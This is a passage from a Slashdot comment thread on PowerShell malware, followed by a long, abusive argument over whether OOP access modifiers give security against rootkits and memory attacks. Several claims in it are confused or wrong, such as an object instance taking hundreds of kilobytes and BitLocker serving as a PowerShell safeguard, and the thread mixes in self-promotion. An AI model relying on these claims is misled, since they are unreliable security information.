      The difference being that with TLS, browsers treat a domain-validated certificate as sufficient, but there's no counterpart to DV certificates in code signing.

    2. Re:That's why script execution is off by default by SQLGuru · · Score: 1

      And yet....most people who's job is web programming assume that certificates are part of an admin's job. The classic "it worked fine on my dev box" (which usually doesn't have much in the way of security enabled) excuse will come up and the web dev will try to throw the problem over the wall.

    3. Re:That's why script execution is off by default by drinkypoo · · Score: 1

      PowerShell isn't a scripting language in the traditional sense -- it's a whole ecosystem that can expose the entire machine if you have the rights, and perform extremely complex stuff on the user's behalf.

      So, just like the Unix shell, then.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  12. Powershell is powerful! News at 11! by DogDude · · Score: 1

    Now more than 95% of PowerShell scripts analysed by Symantec researchers have been found to be malicious, with 111 threat families using PowerShell.

    What scripts were they analyzing? I've got a bunch of Powershell scripts, and none of them are malicious.

    --
    I don't respond to AC's.
  13. (bash|sh|ksh|zsh) && !PowerShell by Anonymous Coward · · Score: 0

    This is why i'll always respect Apple's decision to build OSX on top of FreeBSD. Apparently they tried to develop a core OS but came up short and 'settled' on BSD. IMO this was brilliant, use what work, don't reinvent the wheel, leverage the power and knowledge of unix! Why didn't Microsoft take this approach, it's like they always have to do it their way but their way ALWAYS ends up being inferior and bug laden. I recently installed git for windows, https://git-scm.com/download/w... it's beautiful, it comes with a whole working unix sub system, bash, ssh, vim, etc... I'm sure even that is superior to PowerShell. Of course I didn't RTFA and haven't used PowerShell, so i'm clueless as to it's actual features...

    1. Re:(bash|sh|ksh|zsh) && !PowerShell by MightyMartian · · Score: 1

      The kinds of vulnerabilities that PowerShell suffers would be suffered by any operating system that has a fairly comprehensive scripting language. The issue simply is if you can automate OS functions like creating, altering or deleting files and other system resources, someone can write a malicious script that, if run even in an non-super user context, can wreak havoc, but if run in a super user or similar higher access context can lead to enormous damage or to compromised systems. There are ways to mitigate this for both Windows and *nix, but more often than not you have to be proactive about it.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
  14. Irony by slapout · · Score: 1

    The ironic thing is that every time I try to learn PowerShell I can't get past all the security restrictions it puts on me!

    --
    Coder's Stone: The programming language quick ref for iPad
    1. Re:Irony by Anonymous Coward · · Score: 0

      You sir are an idiot.

  15. Not that big a leap (but I doubt OOP @ times) by Anonymous Coward · · Score: 0

    See subject regarding returning objects. Objects are just datastructures (here's your 'text' or other datatypes) w/ methods/functions "built-in" to them (classed as public/protected/private etc. (what they're noted as varies some between languages, but the point is the same in each)).

    To access said data you do the std. Object.property (it's this way in modern object-oriented programming in MOST HLLs)

    &

    If you want to ACT on that data in that property, you can do so using a 'method' which to this day I call functions (or procedures as I come out of the procedural programming world, after 'inline code' before it)

    So, depending on its datatype & IF it is exposed (not privatized) for your access or for access to other objects (classes are precursors to objects & can be public/protected/private/friend etc. depending on HOW you intend to use them & with what level of access & these classifications are just levels of access to their interior)?

    Then, You can access AND manipulate it with functions BUILT INTO said object.

    So, my next point (fairly important imo):

    Technically "nothing else can" touch, say, OOP & especially protected/private classed object members + functions (or data), right?

    WRONG!

    Device drivers can touch ANYTHING IN MEMORY

    (...& this imo is why rootkits are SO damn dangerous... they can pierce even OOP protections in memory due to running in a higher level of privelege access (why every program doesn't need a keyboard routine for instance? It's driver driven & STANDARDIZED)).

    * Anyhow/anyways - It's not a "huge leap" - not really but imo you can overuse objects (each instance is iirc, an extra 475-900kb JUST to instance, not counting its datasize) bloating & EVEN SLOWING your code just like excessive error trapping can (sometimes, like anything, it can be overkill) & it's NOT that protective really in the end (vs. usermode things, yes, it's good... but see above in bold).

    APK

    P.S.=> I hope that 'came off' as not too much "geek speak" but I'd best most around here 'grok' that - I'd like some feedback in the driver/ring 0/rpl rootkit level protection item I noted above though (I'm PRETTY SURE I am right on it, & it's a potential security weakness of OOP)... apk

    1. Re:Not that big a leap (but I doubt OOP @ times) by MightyMartian · · Score: 1

      This is one of the reasons micro kernels have a much more manageable security model. The problem being microkernels have some performance penalties that, at least in previous generations of CPUs, lead most OS developers to work in monolithic or mixed models. Yes, there are user space device drivers, so there has been a lot of work done to move device drivers a lot further away from Ring 0 and Ring 1, but even this simply makes monolithic kernels even more complex, and complexity is always the enemy of security.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    2. Re:Not that big a leap (but I doubt OOP @ times) by Anonymous Coward · · Score: 0

      Access modifiers aren't meant to offer runtime memory protection (especially not from DMA), they only used during compile in most languages that have them for code integrity purposes for programmers.

    3. Re:Not that big a leap (but I doubt OOP @ times) by Anonymous Coward · · Score: 0

      Please do not assume a languages OOP functions to be security features. If a function is exported it can be discovered and called!

    4. Re:Not that big a leap (but I doubt OOP @ times) by Anonymous Coward · · Score: 0

      Thank you. This is the funniest fucking thing I've read in a week.

  16. Oh noes! by Anonymous Coward · · Score: 1

    Wait until they find out about buffer overruns in C.

  17. Constrained Language Mode Is A Thing by psrdrgz · · Score: 1

    Just implement Bitlocker in Allow Mode on a system running PSv5 and you'll be much safer.

  18. Best practices by jxander · · Score: 2

    How about you don't run random code that you don't understand.

    Screwing up your system by running someone else's scripts is not unique to Powershell (or MS in general).

    Microsoft might take the brunt of the malicious code however, because their software is designed to be easy. Any screwball can stumble their way through adding users or DNS zones in AD's GUI and call themselves a sysadmin. The mental barrier to entry is low, so you'll end up with a higher percentage of idiots running Windows systems. If those same idiots knew how to CLI, they'd be admins for *nix systems, and writing their own code for Powershell on the windows side. But they don't. So they google "How to ... in Powershell," download the first .ps1 file they find and right-click Run as Admin.

    --
    This signature is false.
    1. Re:Best practices by Anonymous Coward · · Score: 0

      Because so many powershell fixes require running code you may not understand until after the problem is fixed

      stackexchange has many examples of this

    2. Re:Best practices by jxander · · Score: 1

      I've used stack exchange and other sites a ton to help figure out the syntax of a particular command, or how to work certain commands together ... but that doesn't mean I'm going to blindly download and run the script as-is. And I definitely don't run code that tells me "trust me, you'll understand once it's over."

      I'll always look through the script, line by line, and understand what it's doing. If I don't understand part of it, I remove that part or search around until I do understand it. Or better yet, create my own script using pieces and parts of the version I downloaded.

      --
      This signature is false.
  19. All Powerful Admin by Anonymous Coward · · Score: 0

    Powershell -- is that supposed to be irony?

  20. Good point & question... apk by Anonymous Coward · · Score: 0

    I was operating from the viewpoint of what we work w/ mostly hybrid (NT-based Windows cores are like this) types) or monolithic (iirc, Linux uses this model instead) but I have heard in microkernel design that messagepassing increases (thru boundaries some of which you described & I also haven't heard of 'user-space drivers' since the Win9x days in .vxd's).

    You seem to agree with the 'problem' OOP has in that sense, that rootkits (running in rpl 0/ring 0/kernelmode) introduce, piercing their memory access protection which yes, works internal to a program (via private/protected) & external to other programs running.

    Thanks for confirming it to me.

    APK

    P.S.=> I've always wondered WHY we aren't using the other areas of the CPU as well (Ring 1/2) - is it another "messagepass overhead" issue as in the microkernel OS software-architecture one as well (I've heard that special diagnostics by mobo makers & cpu makers use them though - is this just bs rumor OR do you know if it's true?)?

    One thing I'd LOVE to see is INTEL's "CET" introduced on that note (protection vs. buffer overflow style attacks via a 'shadow/mirror' stack in the CPU itself, read only to software running on it).

    In any event, thanks for your answer & feedback on this last note too... apk

    1. Re:Good point & question... apk by ZenShadow · · Score: 1

      Nitpick: OOP access modifiers are (at least in compiled-to-native languages that have real pointers, like C++) advisory, at best. The modifiers are only examined at compile time by the compiler for error checking purposes; there is no runtime restriction.

      There is no actual protection; if you can calculate the address of the storage, you can access the data.

      --
      -- sigs cause cancer.
  21. Reading this I hear....... by Anonymous Coward · · Score: 0

    angelic voices all singing "ActiveX ActiveX ActiveX"

  22. PowerShell the new Java by Anonymous Coward · · Score: 0

    PowerShell is not just a scripting language, it has grown and is similar to Java. It is a powerful language.
    We all know what happened to Java on desktops, UNINSTALLED. Java is a very good language and could have been used to fix system problems and even remove all types of malwares. But only criminals leveraged Java. Same will happen with PowerShell.

  23. Do you mean like ROP gadget scan? by Anonymous Coward · · Score: 0

    See subject question & I have a bit of a 'nitpick' of my own of myself - when I used function vs. procedure (functions have return values, procs don't, so I am clarifying that myself ON myself too, lol)

    * :)

    APK

    P.S.=> I used those terms in my initial post & am clarifying that now in fact (I didn't there) since we're about the business of "nitpicking" my posts, lol... apk

  24. So it's "internal to program" only by Anonymous Coward · · Score: 0

    See subject: That 'shatters an illusion' of mine then (long running one) - OOP's only for INTERNAL to program access protection.

    APK

    P.S.=> Well, "will wonders NEVER cease" - I labored under an illusion that OOP was protection that extended externally also... apk

    1. Re:So it's "internal to program" only by Anonymous Coward · · Score: 0

      Except it's not internal to program either, it's not runtime at all, it's a compiler check. Learn how memory protection works.

  25. I don't (external to itself any longer) by Anonymous Coward · · Score: 0

    See subject: Internal to itself it is security vs. corruption. Call stack tables can be found & even ASRL doesn't work vs. ROP gadget scanning.

    * I knew this much...

    APK

    P.S.=> What I didn't realize is that OOP helps exactly ZERO vs. external interlopers even in USERMODE!

    (Which is why I brought up rootkits operating as device drivers in KERNELMODE @ least (not bootsector originated type) can use "DMA" & can touch ANY memory (which is how/why keyboards & mice drivers exist to standardize it + so that every program doesn't have to create its own routines or summon libs to do so)... apk

  26. Nitpicking myself again, lol... apk by Anonymous Coward · · Score: 0

    See subject: Since we're doing it, I do it to myself too 2x, this is #2 - video drivers AFTER Windows NT 3.51 are in userspace iirc (DirectX accessing so they're near as fast as DMA direct memory accessing kernelmode ones) - so it's NOT just .vxd type in Windows ala Win9x had.

    This definitely IS the case, proof being I do NOT have to reboot after installing video drivers for my GeForce 970!

    (UGH - worst part is, I KNOW THIS STUFF, & am omitting fairly critical details... in a hurry here, never helps!)

    * :)

    ("One must be CRITICAL of one's self too!")

    APK

    P.S.=> My other 'nitpick' of myself https://tech.slashdot.org/comm... was regarding the use of the terms function (has return types for result of finish checks usually) vs. procedure (has no return type) in my original post-> https://tech.slashdot.org/comm... so, there we are (thus, "if you can't laugh @ yourself, or 'pick on' yourself? You have no right to do so to others" - giving myself that right RIGHT now, by doing it to myself a 2nd time no less here now - lol, MAINLY so you guys don't catch it & do it me 1st (lol, always an "ulterior self-saving motive" here))... apk

  27. I even picked on myself but... apk by Anonymous Coward · · Score: 0

    See subject & https://tech.slashdot.org/comm... now, it's time to laugh @ you, unidentifiable anonymous!

    Talk's cheap, have YOU done BETTER than this:

    APK Hosts File Engine 9.0++ SR-4 32/64-bit https://www.google.com/search?hl=en&source=hp&biw=&bih=&q=%22APK+Hosts+File+Engine%22+and+%22start64%22&btnG=Google+Search&gbv=1/ ?

    A free tool that gives folks more speed, security, reliability & anonymity for less doing more vs. other "so-called 'solutions'" (locally installed DNS/antivirus/addons) that are RIDDLED w/ security issues, full of security holes, & inefficient as hell!

    * I've never seen software written by the "unidentifiable can't stand behind his bs words software company"!

    APK

    P.S.=> Well? Now, THIS will be good for a large laugh for me albeit @ YOUR expense - See, unlike you?

    I'm actually able to SHOW a great tool that many 1,000's like (even /.'ers by the dozens) ACTUALLY DOING THE JOB PROVABLY HERE - can you??... apk

  28. about time by Anonymous Coward · · Score: 0

    I think it is about time Microsoft got out of the software business and sticks to marketing.

  29. It is internal to program vs. corruption by Anonymous Coward · · Score: 0

    Memory protection's run by a kernelmode subsystem separating processes but OOP functions inside a program vs. corruption of data (private/protected work that way amongst subroutines/procedures/functions in objects).

    APK

    P.S.=> Specifically virtual memmgt (as it's all "virtual" memory to the OS) as far as that kernelmode subsystem... apk

  30. Learn how OOP works (private/protected) by Anonymous Coward · · Score: 0

    https://www.google.com/search?...

    * Says it all for me right there #1 result as far as private/protected in OOP... encapsulation functions that way (

    "They are access modifiers and help us implement Encapsulation (or information hiding) They tell the compiler which other classes should have access to the field or method being defined" - FROM - https://www.google.com/url?q=h...

    +

    "Private fields do, in some languages, provide certain forms of security" FROM http://softwareengineering.sta...

    APK

    P.S.=> You shouldn't have said what you did - you blew it (access modification for encapsulation IS about prevention of corruption)... apk

    1. Re:Learn how OOP works (private/protected) by Anonymous Coward · · Score: 0

      You just confirmed exactly what was said to you for both counts.

  31. Wrong: OOP encapsulation yields security by Anonymous Coward · · Score: 0

    "Private fields do, in some languages, provide certain forms of security" FROM http://softwareengineering.stackexchange.com/questions/143736/why-do-we-need-private-variables/ & internal program security (which SHOULD also function to protect that data from unintended use from not only internal to object & program use, but also for DLL functions imported into the SAME memory space as well).

    APK

    P.S.=> Accept it - YOU fail (as always unidentifiable anonymous troll)... apk

    1. Re:Wrong: OOP encapsulation yields security by Anonymous Coward · · Score: 0

      What? We're agreeing with each other you fucking moron.

  32. So I'm correct (& who're you bullshitting?) by Anonymous Coward · · Score: 0

    See subject: It's all that counts (I'm right on OOP encapsulation providing security & don't 'bs' me: Post I replied to is giving me guff in it here + YES it IS you-> https://tech.slashdot.org/comments.pl?sid=9972801&cid=53489857/ & you ARE incorrect in it)

    * I can't BELIEVE the bullshit you punks try...

    APK

    P.S.=> By the way - the post before that to which I also replied correcting their bullshit IS giving me shit even when I am correct so cut the crap-> https://tech.slashdot.org/comments.pl?sid=9972801&cid=53462979/ & all your UNIDENTIFIABLE TROLLING WORM BS is backfiring on you as usual, pitiful FUCK that you are... apk

    1. Re:So I'm correct (& who're you bullshitting?) by Anonymous Coward · · Score: 0

      You keep going on how "some languages" support memory protection when I only said "most languages" don't, our two statements agree with each other but because you haven't a fucking clue what you're talking about and just pasting links to crap you barely understand that you don't even realise we're saying the same thing.

  33. Private typed encapsulation = protection by Anonymous Coward · · Score: 0

    See subject: It extends to functions/procedures used in objects not just variables! Some languages != default OOP (e.g. C) - those that are have private data protection vs. corruption internally!

    (That IS a fact - give up & learn something about coding - I can easily prove I do via APK Hosts File Engine 9.0++ SR-4 32/64-bit https://www.google.com/search?... that /. users like & use + malwarebytes' hpHosts HOSTS & RECOMMENDS - not 1 single security issue or bug found in it since its public release in 2012 too & yes, it's OOP (Object Pascal)).

    APK

    P.S.=> You've got proof you've done the same or better? No - As I've never seen software written by "unidentifiable anonymous trolling "ne'er-do-well" worm company" that you are, lol... apk

  34. OOP encapsulation provides protection by Anonymous Coward · · Score: 0

    See subject & https://tech.slashdot.org/comments.pl?sid=9972801&cid=53508657/ by encapsulation of data (+ access to functions/procedures) OOP provides.

    APK

    P.S.=> Vs. ROP scanning? No. Not even ASRL can prevent that but it does act as a delaying action... apk